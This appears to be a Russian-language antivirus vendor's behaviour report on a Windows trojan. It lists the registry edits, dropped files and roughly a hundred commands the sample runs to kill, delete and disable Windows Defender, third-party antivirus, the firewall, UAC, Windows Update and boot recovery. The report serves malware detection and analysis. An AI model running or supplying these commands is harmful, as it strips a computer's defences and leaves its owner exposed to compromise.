Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Обновления системы (Windows Update)
- Центр обеспечения безопасности (Security Center)
- Системный антивирус (Защитник Windows)
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
изменяет следующие системные настройки:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im smartscreen.exe
- '<SYSTEM32>\taskkill.exe' /f /im SecurityHealthService.exe
- '<SYSTEM32>\taskkill.exe' /f /im MpCopyAccelerator.exe
- '<SYSTEM32>\taskkill.exe' /f /im SystemSettings.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im MBAMWsc.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im MBAM.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im Bytefence.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ixp000.tmp\defeat-defender2.bat
- %TEMP%\ixp000.tmp\nsudo.exe
- %TEMP%\ixp000.tmp\nsudo.json
- %TEMP%\ixp000.tmp\nsudodm.dll
- %TEMP%\ixp000.tmp\start.cmd
- nul
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide icacls "<SYSTEM32>\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
- '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
- '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
- '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
- '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide sc stop windefend
- '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No
- '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\cmd.exe' /c %TEMP%\IXP000.TMP\start.cmd' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c %TEMP%\IXP000.TMP\start.cmd
- '%WINDIR%\syswow64\sc.exe' delete Bytefenceservice
- '%WINDIR%\syswow64\sc.exe' config Bytefenceservice start= disabled
- '%WINDIR%\syswow64\sc.exe' stop Bytefenceservice
- '%WINDIR%\syswow64\sc.exe' delete MBAMService
- '%WINDIR%\syswow64\sc.exe' config MBAMService start= disabled
- '%WINDIR%\syswow64\sc.exe' stop MBAMService
- '%WINDIR%\syswow64\sc.exe' stop nsWscSvc
- '%WINDIR%\syswow64\sc.exe' delete sense
- '%WINDIR%\syswow64\sc.exe' delete windefend
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SecurityHealth /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisDrv" /f
- '<SYSTEM32>\sc.exe' config "avast! Tools" start= disabled
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdFilter" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdBoot" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Defender" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows Defender" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Security Health" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisSvc" /f
- '<SYSTEM32>\sc.exe' config SDRSVC start= disabled
- '<SYSTEM32>\sc.exe' delete "avast! Tools"
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Nis-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Powershell-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-MDM-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Group-onecore-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Group-amcore-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Group-Policy-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Core-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Core-Group-amcore-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-CloudClean-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\sc.exe' config DiagTrack start= disabled
- '<SYSTEM32>\sc.exe' stop "avast! Tools"
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AppLayer-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AppLayer-Group-onecore-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AppLayer-Group-amcore-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\Microsoft.Windows.SecHealthUI__neutral_neutral_cw5n1h2txyewy" /f
- '<SYSTEM32>\reg.exe' query "HKEY_CLASSES_ROOT\CLSID\{5FDD51E2-A9D0-44CE-8C8D-162BA0C591A0}" /v "Version"
- '<SYSTEM32>\cmd.exe' /c reg query "HKEY_CLASSES_ROOT\CLSID\{5FDD51E2-A9D0-44CE-8C8D-162BA0C591A0}" /v "Version"
- '<SYSTEM32>\sc.exe' config "avast! Antivirus" start= disabled
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-ApplicationGuard-Inbox-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\sc.exe' stop "avast! Antivirus"
- '<SYSTEM32>\sc.exe' stop DiagTrack
- '<SYSTEM32>\sc.exe' config LicenseManager start= disabled
- '<SYSTEM32>\sc.exe' stop LicenseManager
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -PUAProtection disable"
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "netsh advfirewall set allprofiles state off"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -ScanScheduleDay 8"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -SevereThreatDefaultAction 6"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -LowThreatDefaultAction 6"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -ModerateThreatDefaultAction 6"
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Shield-Provider-Core-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\sc.exe' config WdNisSvc start= disabled
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup'"
- '<SYSTEM32>\sc.exe' stop WdNisSvc
- '<SYSTEM32>\sc.exe' delete windefend
- '<SYSTEM32>\sc.exe' stop windefend
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"%WINDIR%'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension ".exe""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension ".bat""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Client-Package~31bf3856ad364e35~amd64~~\Owners" /f
- '<SYSTEM32>\sc.exe' delete WdNisSvc
- '<SYSTEM32>\sc.exe' delete Sense
- '<SYSTEM32>\sc.exe' stop Sense
- '<SYSTEM32>\sc.exe' config Spooler start= disabled
- '<SYSTEM32>\sc.exe' stop Spooler
- '<SYSTEM32>\sc.exe' config VaultSvc start= disabled
- '<SYSTEM32>\sc.exe' stop VaultSvc
- '<SYSTEM32>\sc.exe' config InstallService Start= disabled
- '<SYSTEM32>\sc.exe' stop InstallService
- '<SYSTEM32>\sc.exe' config WdiSystemHost start= disabled
- '<SYSTEM32>\sc.exe' stop WdiSystemHost
- '<SYSTEM32>\sc.exe' config WdiServiceHost start= disabled
- '<SYSTEM32>\sc.exe' stop WdiServiceHost
- '<SYSTEM32>\sc.exe' config Sense start= disabled
- '<SYSTEM32>\sc.exe' config wscsvc start= disabled
- '<SYSTEM32>\sc.exe' config windefend start= disabled
- '<SYSTEM32>\sc.exe' stop SDRSVC
- '<SYSTEM32>\sc.exe' delete SecurityHealthService
- '<SYSTEM32>\sc.exe' config SecurityHealthService start= disabled
- '<SYSTEM32>\sc.exe' stop SecurityHealthService
- '<SYSTEM32>\sc.exe' config WaasMedicSvc start= disabled
- '<SYSTEM32>\sc.exe' stop WaasMedicSvc
- '<SYSTEM32>\sc.exe' config usosvc start= disabled
- '<SYSTEM32>\sc.exe' stop usosvc
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop wscsvc
- '<SYSTEM32>\dism.exe' /online /remove-package /packagename:Windows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~ /NoRestart
